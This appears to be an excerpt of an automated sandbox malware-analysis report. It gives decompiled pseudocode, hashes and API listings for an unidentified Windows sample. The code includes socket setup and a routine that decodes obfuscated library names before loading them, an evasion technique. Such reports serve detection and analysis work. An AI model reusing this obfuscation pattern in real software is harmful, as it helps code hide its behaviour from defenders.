    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: AllocChangeCloseFindNotificationSleepVirtual
    • String ID:
    • API String ID: 3861933255-0
    • Opcode ID: e0413d05994b5d39bd07e40434299529a15f7c77ffa31d542c249d23ce153f67
    • Instruction ID: 07ec9d97db2144d9a6d6b896434d12c1a1cc327795032203dd7312d78229bcb5
    • Opcode Fuzzy Hash: e0413d05994b5d39bd07e40434299529a15f7c77ffa31d542c249d23ce153f67
    • Instruction Fuzzy Hash: C9A1BB747053019FE3A4EFA4CC84B6A73E5AB95320F04846EEC49DB391DBB1E901EB84
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F32F10 Relevance: 4.7, APIs: 3, Instructions: 213networkCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 48%
    			E00F32F10(void* __ebx, void* __edi, long __esi) {
				signed int _v8;
				intOrPtr _v20;
				long _v24;
				char _v25;
				intOrPtr _v28;
				void* _v32;
				intOrPtr* _v36;
				signed int _t52;
				intOrPtr _t55;
				intOrPtr* _t56;
				intOrPtr _t58;
				intOrPtr* _t63;
				intOrPtr _t64;
				char* _t65;
				intOrPtr _t66;
				intOrPtr* _t67;
				void* _t68;
				intOrPtr _t70;
				void* _t72;
				long* _t73;
				long* _t74;
				intOrPtr _t75;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t79;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr* _t83;
				intOrPtr _t85;
				intOrPtr* _t86;
				intOrPtr _t88;
				intOrPtr* _t89;
				char _t94;
				intOrPtr _t95;
				intOrPtr _t100;
				intOrPtr _t101;
				long* _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr* _t133;
				long _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				void* _t137;
				intOrPtr _t138;
				intOrPtr _t139;
				long _t140;
				signed int _t141;

				_t140 = __esi;
				_t52 =  *0xf4a004; // 0x355216d4
				_v8 = _t52 ^ _t141;
				_t133 =  *0xf4c360; // 0x0
				_v36 = _t133;
				if(_t133 != 0) {
					_t94 = 0;
					_v28 =  *_t133;
					_t134 = 2;
					while(1) {
						_t55 =  *0xf4c2ec; // 0xddcc10
						_v25 = _t94;
						_t56 =  *((intOrPtr*)(_t55 + 0xa4));
						if(_t56 == 0) {
							_t56 = E00F222A0(_t94, 0, 0, _t134, _t140, 0x55710126);
							_t105 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t105 + 0xa4)) = _t56;
						}
						_t140 =  *_t56(0x40, 0x28);
						if(_t140 == 0) {
							break;
						}
						 *((intOrPtr*)(_t140 + 0x18)) = _v28;
						_t100 =  *0xf4c2ec; // 0xddcc10
						 *((char*)(_t140 + 0x1c)) = 2;
						_t63 =  *((intOrPtr*)(_t100 + 0x144));
						if(_t63 == 0) {
							_t63 = E00F222A0(_t94, 0, _t63 + 6, _t134, _t140, 0xe558706f);
							_t120 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t120 + 0x144)) = _t63;
						}
						_t64 =  *_t63(2, 1, 6, 0, 0, 1); // executed
						 *((intOrPtr*)(_t140 + 0x14)) = _t64;
						if(_t64 != 0xffffffff) {
							_t101 = 0x10;
							_t65 =  &_v24;
							do {
								 *_t65 = 0;
								_t65 = _t65 + 1;
								_t101 = _t101 - 1;
							} while (_t101 != 0);
							_t66 =  *0xf4c2ec; // 0xddcc10
							_v24 = 2;
							_v20 = _t101;
							_t136 =  *((intOrPtr*)(_t140 + 0x14));
							_t67 =  *((intOrPtr*)(_t66 + 0x148));
							if(_t67 == 0) {
								_t23 = _t101 + 6; // 0x15
								_t67 = E00F222A0(_t94, _t101, _t23, _t136, _t140, 0x4310229a);
								_t116 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t116 + 0x148)) = _t67;
							}
							_t68 =  *_t67(_t136,  &_v24, 0x10); // executed
							if(_t68 == 0) {
								_t137 =  *0xf4c300; // 0x364
								_v32 =  *((intOrPtr*)(_t140 + 0x14));
								_t70 =  *0xf4c2ec; // 0xddcc10
								if( *((intOrPtr*)(_t70 + 0xb0)) == 0) {
									_t81 = E00F222A0(_t94, 0, 0, _t137, _t140, 0x57b499e3);
									_t111 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t111 + 0xb0)) = _t81;
								}
								_t72 = CreateIoCompletionPort(_v32, _t137, 2, 0); // executed
								if(_t72 != 0) {
									_t43 = _t140 + 0x20; // 0x20
									_t103 = _t43;
									 *_t103 = 0;
									_t73 =  *0xf4c344; // 0xf4c340
									 *(_t140 + 0x24) = _t73;
									_t74 =  *0xf4c344; // 0xf4c340
									 *_t74 = _t140;
									 *0xf4c344 = _t103;
								} else {
									_t75 =  *0xf4c2ec; // 0xddcc10
									_t138 =  *((intOrPtr*)(_t140 + 0x14));
									_t76 =  *((intOrPtr*)(_t75 + 0x13c));
									if(_t76 == 0) {
										_t76 = E00F222A0(_t94, 0, _t76 + 6, _t138, _t140, 0x4118bcd2);
										_t109 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t109 + 0x13c)) = _t76;
									}
									 *_t76(_t138);
									_t78 =  *0xf4c2ec; // 0xddcc10
									_t79 =  *((intOrPtr*)(_t78 + 0xa8));
									if(_t79 == 0) {
										_t79 = E00F222A0(_t94, 0, 0, _t138, _t140, 0xa0ee5aad);
										_t107 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t107 + 0xa8)) = _t79;
									}
									 *_t79(_t140);
								}
							} else {
								_t82 =  *0xf4c2ec; // 0xddcc10
								_t139 =  *((intOrPtr*)(_t140 + 0x14));
								_t83 =  *((intOrPtr*)(_t82 + 0x13c));
								if(_t83 == 0) {
									_t83 = E00F222A0(_t94, 0, _t83 + 6, _t139, _t140, 0x4118bcd2);
									_t115 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t115 + 0x13c)) = _t83;
								}
								 *_t83(_t139);
								_t85 =  *0xf4c2ec; // 0xddcc10
								_t86 =  *((intOrPtr*)(_t85 + 0xa8));
								if(_t86 == 0) {
									_t86 = E00F222A0(_t94, 0, 0, _t139, _t140, 0xa0ee5aad);
									_t113 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t113 + 0xa8)) = _t86;
								}
								 *_t86(_t140);
							}
							_t134 = 2;
						} else {
							_t88 =  *0xf4c2ec; // 0xddcc10
							_t89 =  *((intOrPtr*)(_t88 + 0xa8));
							if(_t89 == 0) {
								_t89 = E00F222A0(_t94, 0, 0, _t134, _t140, 0xa0ee5aad);
								_t118 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t118 + 0xa8)) = _t89;
							}
							 *_t89(_t140);
						}
						_t94 = _t94 + 1;
						if(_t94 < 0xff) {
							continue;
						}
						break;
					}
					_t135 = _v36;
					_t95 =  *((intOrPtr*)(_t135 + 4));
					_t58 =  *((intOrPtr*)(_t135 + 8));
					if(_t95 == 0) {
						 *0xf4c364 = _t58;
					} else {
						 *((intOrPtr*)(_t95 + 8)) = _t58;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t135 + 8)))) =  *((intOrPtr*)(_t135 + 4));
					E00F39872(_t135);
					return E00F37A82(_v8 ^ _t141);
				} else {
					return E00F37A82(_v8 ^ _t141);
				}
			}


























































    0x00f32f10
    0x00f32f16
    0x00f32f1d
    0x00f32f23
    0x00f32f29
    0x00f32f2e
    0x00f32f45
    0x00f32f47
    0x00f32f4a
    0x00f32f50
    0x00f32f50
    0x00f32f55
    0x00f32f58
    0x00f32f60
    0x00f32f6b
    0x00f32f70
    0x00f32f76
    0x00f32f76
    0x00f32f82
    0x00f32f86
    0x00000000
    0x00000000
    0x00f32f8f
    0x00f32f92
    0x00f32f98
    0x00f32f9c
    0x00f32fa4
    0x00f32fb0
    0x00f32fb5
    0x00f32fbb
    0x00f32fbb
    0x00f32fcd
    0x00f32fcf
    0x00f32fd5
    0x00f33008
    0x00f3300d
    0x00f33010
    0x00f33010
    0x00f33013
    0x00f33016
    0x00f33016
    0x00f3301b
    0x00f33020
    0x00f33027
    0x00f3302a
    0x00f3302d
    0x00f33035
    0x00f3303c
    0x00f3303f
    0x00f33044
    0x00f3304a
    0x00f3304a
    0x00f33057
    0x00f3305b
    0x00f330c1
    0x00f330c7
    0x00f330ca
    0x00f330d7
    0x00f330e2
    0x00f330e7
    0x00f330ed
    0x00f330ed
    0x00f330fb
    0x00f330ff
    0x00f3315f
    0x00f3315f
    0x00f33162
    0x00f33168
    0x00f3316d
    0x00f33170
    0x00f33175
    0x00f33177
    0x00f33101
    0x00f33101
    0x00f33106
    0x00f33109
    0x00f33111
    0x00f3311d
    0x00f33122
    0x00f33128
    0x00f33128
    0x00f3312f
    0x00f33131
    0x00f33136
    0x00f3313e
    0x00f33149
    0x00f3314e
    0x00f33154
    0x00f33154
    0x00f3315b
    0x00f3315b
    0x00f3305d
    0x00f3305d
    0x00f33062
    0x00f33065
    0x00f3306d
    0x00f33079
    0x00f3307e
    0x00f33084
    0x00f33084
    0x00f3308b
    0x00f3308d
    0x00f33092
    0x00f3309a
    0x00f330a5
    0x00f330aa
    0x00f330b0
    0x00f330b0
    0x00f330b7
    0x00f330b7
    0x00f3317d
    0x00f32fd7
    0x00f32fd7
    0x00f32fdc
    0x00f32fe4
    0x00f32fef
    0x00f32ff4
    0x00f32ffa
    0x00f32ffa
    0x00f33001
    0x00f33001
    0x00f33182
    0x00f33187
    0x00000000
    0x00000000
    0x00000000
    0x00f33187
    0x00f3318d
    0x00f33190
    0x00f33193
    0x00f33198
    0x00f3319f
    0x00f3319a
    0x00f3319a
    0x00f3319a
    0x00f331ab
    0x00f331ad
    0x00f331ca
    0x00f32f30
    0x00f32f42
    0x00f32f42

    APIs
    • WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 00F32FCD
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Socket
    • String ID:
    • API String ID: 38366605-0
    • Opcode ID: 64997378631f687dba6dfd20a015f60c8cd0348906183bda77dd4ab716a48529
    • Instruction ID: 59c9dcff750d499c94963af22243afbf47d3e9638e84cdb7ff6fa132e2014271
    • Opcode Fuzzy Hash: 64997378631f687dba6dfd20a015f60c8cd0348906183bda77dd4ab716a48529
    • Instruction Fuzzy Hash: 7181E134B012049FD754DFA5DC81B6AB3E5EB99310F14806EEC09DB391DBB5EA01EB80
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F38492 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F38492() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00F3849E); // executed
				return _t1;
			}




    0x00f38497
    0x00f3849d

    APIs
    • SetUnhandledExceptionFilter.KERNELBASE(Function_0001849E,00F37D89), ref: 00F38497
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ExceptionFilterUnhandled
    • String ID:
    • API String ID: 3192549508-0
    • Opcode ID: 7aa099500c19cad73d0264d791d9a2c776e6951d7322614bf8d64de55f1f02b5
    • Instruction ID: f5c4209669afdcd423df6781a32bab4a5e94ad1f0e68d1b996c559113807591f
    • Opcode Fuzzy Hash: 7aa099500c19cad73d0264d791d9a2c776e6951d7322614bf8d64de55f1f02b5
    • Instruction Fuzzy Hash:
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F21AA0 Relevance: 185.8, APIs: 11, Strings: 95, Instructions: 311libraryCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 688 f21aa0-f21aee 689 f21b12-f21ba7 LoadLibraryA call f22ef0 LoadLibraryA 688->689 690 f21af0 688->690 694 f21bd0-f21e99 LoadLibraryA call f22e90 LoadLibraryA call f22e30 LoadLibraryA call f22dd0 LoadLibraryA call f22d70 LoadLibraryA call f22d10 LoadLibraryA call f22cb0 LoadLibraryA call f22c50 LoadLibraryA 689->694 695 f21ba9-f21bab 689->695 692 f21af2-f21b10 690->692 692->689 692->692 711 f21ec0-f21ed7 LoadLibraryA 694->711 712 f21e9b-f21e9d 694->712 696 f21bb0-f21bce 695->696 696->694 696->696 714 f21ed9 call f210d0 711->714 715 f21ede-f21ee6 711->715 713 f21ea0-f21ebe 712->713 713->711 713->713 714->715 717 f21ee8 call f210d0 715->717 718 f21eed-f21ef5 715->718 717->718 720 f21ef7 call f210d0 718->720 721 f21efc-f21f04 718->721 720->721 722 f21f06 call f210d0 721->722 723 f21f0b-f21f13 721->723 722->723 726 f21f24-f21f2c 723->726 727 f21f15-f21f1f call f210d0 723->727 729 f21f39-f21f40 726->729 730 f21f2e call f210d0 726->730 727->726 732 f21f42 call f210d0 729->732 733 f21f47-f21f4f 729->733 734 f21f33 730->734 732->733 736 f21f51 call f210d0 733->736 737 f21f56-f21f5e 733->737 734->729 736->737 738 f21f60 call f210d0 737->738 739 f21f65-f21f6d 737->739 738->739 742 f21f74-f21f7c 739->742 743 f21f6f call f210d0 739->743 745 f21f83-f21f87 742->745 746 f21f7e call f210d0 742->746 743->742 746->745
    C-Code - Quality: 96%
    			E00F21AA0(void* __ebx, void* __edi) {
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				void* __esi;
				struct HINSTANCE__* _t217;
				struct HINSTANCE__* _t223;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t235;
				struct HINSTANCE__* _t241;
				void* _t242;
				void* _t264;
				intOrPtr _t273;
				intOrPtr _t274;
				intOrPtr _t275;
				struct HINSTANCE__* _t276;
				struct HINSTANCE__* _t277;
				intOrPtr _t278;
				struct HINSTANCE__* _t279;
				struct HINSTANCE__* _t280;
				intOrPtr _t281;
				struct HINSTANCE__* _t282;
				void* _t283;
				void* _t284;
				void* _t285;
				void* _t292;
				void* _t294;

				_t292 = __edi;
				_t264 = __ebx;
				_v36 = 0;
				_v35 = 0x56;
				_v34 = 0x1b;
				_v33 = 0x31;
				_v32 = 0x34;
				_v31 = 0x1b;
				_v30 = 0x75;
				_v29 = 1;
				_v28 = 0x61;
				_v27 = 0x64;
				_v26 = 0x7b;
				_v25 = 0x75;
				_v24 = 0x75;
				_v23 = 0x47;
				if(_v36 == 0) {
					_t285 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t294 + _t285 - 0x1f) = ((( *(_t294 + _t285 - 0x1f) & 0x000000ff) - 0x47) * 0x29 % 0x7f + 0x7f) % 0x7f;
						_t285 = _t285 + 1;
					} while (_t285 < 0xd);
				}
				 *0xf4c2d4 = LoadLibraryA( &_v35);
				_v88 = 0;
				_v87 = 0x22;
				_v86 = 4;
				_v85 = 0x58;
				_v84 = 0x6c;
				_v83 = 0x20;
				_v82 = 0x58;
				_v81 = 0x3a;
				_v80 = 0x52;
				_v79 = 0xf;
				_v78 = 0xf;
				_v77 = 0x5e;
				 *0xf4c2f0 = LoadLibraryA(E00F22EF0( &_v88));
				_v52 = 0;
				_v51 = 0x43;
				_v50 = 0x74;
				_v49 = 0x41;
				_v48 = 0x3d;
				_v47 = 0x52;
				_v46 = 0x7b;
				_v45 = 0x16;
				_v44 = 0x2e;
				_v43 = 0xf;
				_v42 = 0x74;
				_v41 = 0x33;
				_v40 = 0x33;
				_v39 = 0x67;
				if(_v52 == 0) {
					_t284 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t294 + _t284 - 0x2f) = ((( *(_t294 + _t284 - 0x2f) & 0x000000ff) - 0x67) * 0x25 % 0x7f + 0x7f) % 0x7f;
						_t284 = _t284 + 1;
					} while (_t284 < 0xd);
				}
				_t217 = LoadLibraryA( &_v51); // executed
				 *0xf4c2dc = _t217;
				_v64 = 0;
				_v63 = 0x4b;
				_v62 = 0x2e;
				_v61 = 0x51;
				_v60 = 0;
				_v59 = 0;
				_v58 = 0x58;
				_v57 = 0x51;
				_v56 = 0;
				_v55 = 0;
				_v54 = 0xe;
				 *0xf4c2d0 = LoadLibraryA(E00F22E90( &_v64));
				_v120 = 0;
				_v119 = 0x45;
				_v118 = 0xe;
				_v117 = 0x61;
				_v116 = 0x3a;
				_v115 = 0x61;
				_v114 = 0x18;
				_v113 = 0x22;
				_v112 = 0x3a;
				_v111 = 2;
				_v110 = 0x27;
				_v109 = 0x44;
				_v108 = 0x44;
				_v107 = 0x79;
				_t223 = LoadLibraryA(E00F22E30( &_v120)); // executed
				 *0xf4c2d8 = _t223;
				_v76 = 0;
				_v75 = 0x5a;
				_v74 = 0x14;
				_v73 = 0xf;
				_v72 = 0x46;
				_v71 = 0x21;
				_v70 = 0xc;
				_v69 = 0x69;
				_v68 = 0x14;
				_v67 = 0x14;
				_v66 = 0x58;
				 *0xf4c2e0 = LoadLibraryA(E00F22DD0( &_v76));
				_v136 = 0;
				_v135 = 0x3a;
				_v134 = 0x2c;
				_v133 = 0x2b;
				_v132 = 0x38;
				_v131 = 9;
				_v130 = 0x1b;
				_v129 = 0x36;
				_v128 = 0x48;
				_v127 = 0x11;
				_v126 = 0x3d;
				_v125 = 0x2c;
				_v124 = 0x2c;
				_v123 = 0x53;
				 *0xf4c2f4 = LoadLibraryA(E00F22D70( &_v136));
				_v152 = 0;
				_v151 = 0x6b;
				_v150 = 0x24;
				_v149 = 0x43;
				_v148 = 0x57;
				_v147 = 0x76;
				_v146 = 0x70;
				_v145 = 0x66;
				_v144 = 0x53;
				_v143 = 7;
				_v142 = 0x11;
				_v141 = 0x2a;
				_v140 = 0x2a;
				_v139 = 0x16;
				_t232 = LoadLibraryA(E00F22D10( &_v152)); // executed
				 *0xf4c2cc = _t232;
				_v168 = 0;
				_v167 = 0x4b;
				_v166 = 3;
				_v165 = 8;
				_v164 = 0x45;
				_v163 = 3;
				_v162 = 0x3c;
				_v161 = 3;
				_v160 = 0x37;
				_v159 = 0x4c;
				_v158 = 0x4a;
				_v157 = 0x45;
				_v156 = 0x45;
				_v155 = 0x49;
				_t235 = LoadLibraryA(E00F22CB0( &_v168)); // executed
				 *0xf4c2c8 = _t235;
				_v104 = 0;
				_v103 = 0x27;
				_v102 = 0x35;
				_v101 = 0x62;
				_v100 = 0x3f;
				_v99 = 6;
				_v98 = 0x10;
				_v97 = 0x60;
				_v96 = 0x63;
				_v95 = 8;
				_v94 = 0x62;
				_v93 = 0x62;
				_v92 = 0x1a;
				 *0xf4c2e4 = LoadLibraryA(E00F22C50( &_v104));
				_v20 = 0;
				_v19 = 0x52;
				_v18 = 0x62;
				_v17 = 5;
				_v16 = 0x5f;
				_v15 = 0x5f;
				_v14 = 0x6a;
				_v13 = 0x4b;
				_v12 = 0x4e;
				_v11 = 0x65;
				_v10 = 0x5f;
				_v9 = 0x5f;
				_v8 = 0x31;
				if(_v20 == 0) {
					_t283 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t294 + _t283 - 0xf) = ((( *(_t294 + _t283 - 0xf) & 0x000000ff) - 0x31) * 0x29 % 0x7f + 0x7f) % 0x7f;
						_t283 = _t283 + 1;
					} while (_t283 < 0xc);
				}
				_t241 = LoadLibraryA( &_v19);
				_t273 =  *0xf4c2d0; // 0x77460000
				 *0xf4c2c4 = _t241;
				if(_t273 != 0) {
					_t241 = E00F210D0(_t264, _t273, _t292, 0x7f);
				}
				_t274 =  *0xf4c2d4; // 0x761a0000
				if(_t274 != 0) {
					_t241 = E00F210D0(_t264, _t274, _t292, 0x7f);
				}
				_t275 =  *0xf4c2f0; // 0x75cd0000
				if(_t275 != 0) {
					_t241 = E00F210D0(_t264, _t275, _t292, 0x7f);
				}
				_t276 =  *0xf4c2dc; // 0x745b0000
				if(_t276 != 0) {
					_t241 = E00F210D0(_t264, _t276, _t292, 0x7f);
				}
				_t277 =  *0xf4c2d8; // 0x6e090000
				if(_t277 != 0) {
					 *0xf4c2e8 = 1; // executed
					_t241 = E00F210D0(_t264, _t277, _t292, 0x7f);
				}
				_t278 =  *0xf4c2e0; // 0x75d40000
				if(_t278 != 0) {
					_t241 = E00F210D0(_t264, _t278, _t292, 0x7f);
					_t278 =  *0xf4c2e0; // 0x75d40000
				}
				if( *0xf4c2f4 != 0) {
					_t241 = E00F210D0(_t264, _t278, _t292, 0x7f);
				}
				_t279 =  *0xf4c2cc; // 0x6ed20000
				if(_t279 != 0) {
					_t241 = E00F210D0(_t264, _t279, _t292, 0x7f);
				}
				_t280 =  *0xf4c2c8; // 0x733f0000
				if(_t280 != 0) {
					_t241 = E00F210D0(_t264, _t280, _t292, 0x7f);
				}
				_t281 =  *0xf4c2e4; // 0x76eb0000
				if(_t281 != 0) {
					_t241 = E00F210D0(_t264, _t281, _t292, 0x7f);
				}
				_t282 =  *0xf4c2c4; // 0x74950000
				if(_t282 != 0) {
					_t242 = E00F210D0(_t264, _t282, _t292, 0x7f); // executed
					return _t242;
				}
				return _t241;
			}










































































































































































    0x00f21aa0
    0x00f21aa0
    0x00f21aa9
    0x00f21aad
    0x00f21ab1
    0x00f21ab5
    0x00f21ab9
    0x00f21abd
    0x00f21ac1
    0x00f21ac5
    0x00f21ac9
    0x00f21acd
    0x00f21ad1
    0x00f21ad5
    0x00f21ad9
    0x00f21add
    0x00f21aee
    0x00f21af0
    0x00f21af2
    0x00f21aff
    0x00f21b05
    0x00f21b08
    0x00f21b0c
    0x00f21b0d
    0x00f21af2
    0x00f21b1c
    0x00f21b24
    0x00f21b28
    0x00f21b2c
    0x00f21b30
    0x00f21b34
    0x00f21b38
    0x00f21b3c
    0x00f21b40
    0x00f21b44
    0x00f21b48
    0x00f21b4c
    0x00f21b50
    0x00f21b63
    0x00f21b68
    0x00f21b6c
    0x00f21b70
    0x00f21b74
    0x00f21b78
    0x00f21b7c
    0x00f21b80
    0x00f21b84
    0x00f21b88
    0x00f21b8c
    0x00f21b90
    0x00f21b94
    0x00f21b98
    0x00f21b9c
    0x00f21ba7
    0x00f21ba9
    0x00f21bb0
    0x00f21bbd
    0x00f21bc3
    0x00f21bc6
    0x00f21bca
    0x00f21bcb
    0x00f21bb0
    0x00f21bd4
    0x00f21bda
    0x00f21be2
    0x00f21be6
    0x00f21bea
    0x00f21bee
    0x00f21bf2
    0x00f21bf6
    0x00f21bfa
    0x00f21bfe
    0x00f21c02
    0x00f21c06
    0x00f21c0a
    0x00f21c1d
    0x00f21c25
    0x00f21c29
    0x00f21c2d
    0x00f21c31
    0x00f21c35
    0x00f21c39
    0x00f21c3d
    0x00f21c41
    0x00f21c45
    0x00f21c49
    0x00f21c4d
    0x00f21c51
    0x00f21c55
    0x00f21c59
    0x00f21c66
    0x00f21c6c
    0x00f21c74
    0x00f21c78
    0x00f21c7c
    0x00f21c80
    0x00f21c84
    0x00f21c88
    0x00f21c8c
    0x00f21c90
    0x00f21c94
    0x00f21c98
    0x00f21c9c
    0x00f21caf
    0x00f21cba
    0x00f21cc1
    0x00f21cc8
    0x00f21ccf
    0x00f21cd6
    0x00f21cda
    0x00f21cde
    0x00f21ce2
    0x00f21ce6
    0x00f21cea
    0x00f21cee
    0x00f21cf2
    0x00f21cf6
    0x00f21cfa
    0x00f21d10
    0x00f21d15
    0x00f21d1c
    0x00f21d23
    0x00f21d2a
    0x00f21d37
    0x00f21d3e
    0x00f21d45
    0x00f21d4c
    0x00f21d53
    0x00f21d5a
    0x00f21d61
    0x00f21d68
    0x00f21d6f
    0x00f21d76
    0x00f21d89
    0x00f21d8f
    0x00f21d9a
    0x00f21da1
    0x00f21da8
    0x00f21daf
    0x00f21db6
    0x00f21dbd
    0x00f21dc4
    0x00f21dcb
    0x00f21dd2
    0x00f21dd9
    0x00f21de0
    0x00f21de7
    0x00f21dee
    0x00f21df5
    0x00f21e08
    0x00f21e0e
    0x00f21e16
    0x00f21e1a
    0x00f21e1e
    0x00f21e22
    0x00f21e26
    0x00f21e2a
    0x00f21e2e
    0x00f21e32
    0x00f21e36
    0x00f21e3a
    0x00f21e3e
    0x00f21e42
    0x00f21e46
    0x00f21e59
    0x00f21e5e
    0x00f21e62
    0x00f21e66
    0x00f21e6a
    0x00f21e6e
    0x00f21e72
    0x00f21e76
    0x00f21e7a
    0x00f21e7e
    0x00f21e82
    0x00f21e86
    0x00f21e8a
    0x00f21e8e
    0x00f21e99
    0x00f21e9b
    0x00f21ea0
    0x00f21ead
    0x00f21eb3
    0x00f21eb6
    0x00f21eba
    0x00f21ebb
    0x00f21ea0
    0x00f21ec4
    0x00f21eca
    0x00f21ed0
    0x00f21ed7
    0x00f21ed9
    0x00f21ed9
    0x00f21ede
    0x00f21ee6
    0x00f21ee8
    0x00f21ee8
    0x00f21eed
    0x00f21ef5
    0x00f21ef7
    0x00f21ef7
    0x00f21efc
    0x00f21f04
    0x00f21f06
    0x00f21f06
    0x00f21f0b
    0x00f21f13
    0x00f21f15
    0x00f21f1f
    0x00f21f1f
    0x00f21f24
    0x00f21f2c
    0x00f21f2e
    0x00f21f33
    0x00f21f33
    0x00f21f40
    0x00f21f42
    0x00f21f42
    0x00f21f47
    0x00f21f4f
    0x00f21f51
    0x00f21f51
    0x00f21f56
    0x00f21f5e
    0x00f21f60
    0x00f21f60
    0x00f21f65
    0x00f21f6d
    0x00f21f6f
    0x00f21f6f
    0x00f21f74
    0x00f21f7c
    0x00f21f7e
    0x00000000
    0x00f21f7e
    0x00f21f87

    APIs
    • LoadLibraryA.KERNEL32(00000056), ref: 00F21B16
    • LoadLibraryA.KERNEL32(00000000), ref: 00F21B5D
    • LoadLibraryA.KERNELBASE(00000043), ref: 00F21BD4
    • LoadLibraryA.KERNEL32(00000000), ref: 00F21C17
    • LoadLibraryA.KERNELBASE(00000000), ref: 00F21C66
    • LoadLibraryA.KERNEL32(00000000), ref: 00F21CA9
    • LoadLibraryA.KERNEL32(00000000), ref: 00F21D0A
    • LoadLibraryA.KERNELBASE(00000000), ref: 00F21D89
    • LoadLibraryA.KERNELBASE(00000000), ref: 00F21E08
    • LoadLibraryA.KERNEL32(00000000), ref: 00F21E53
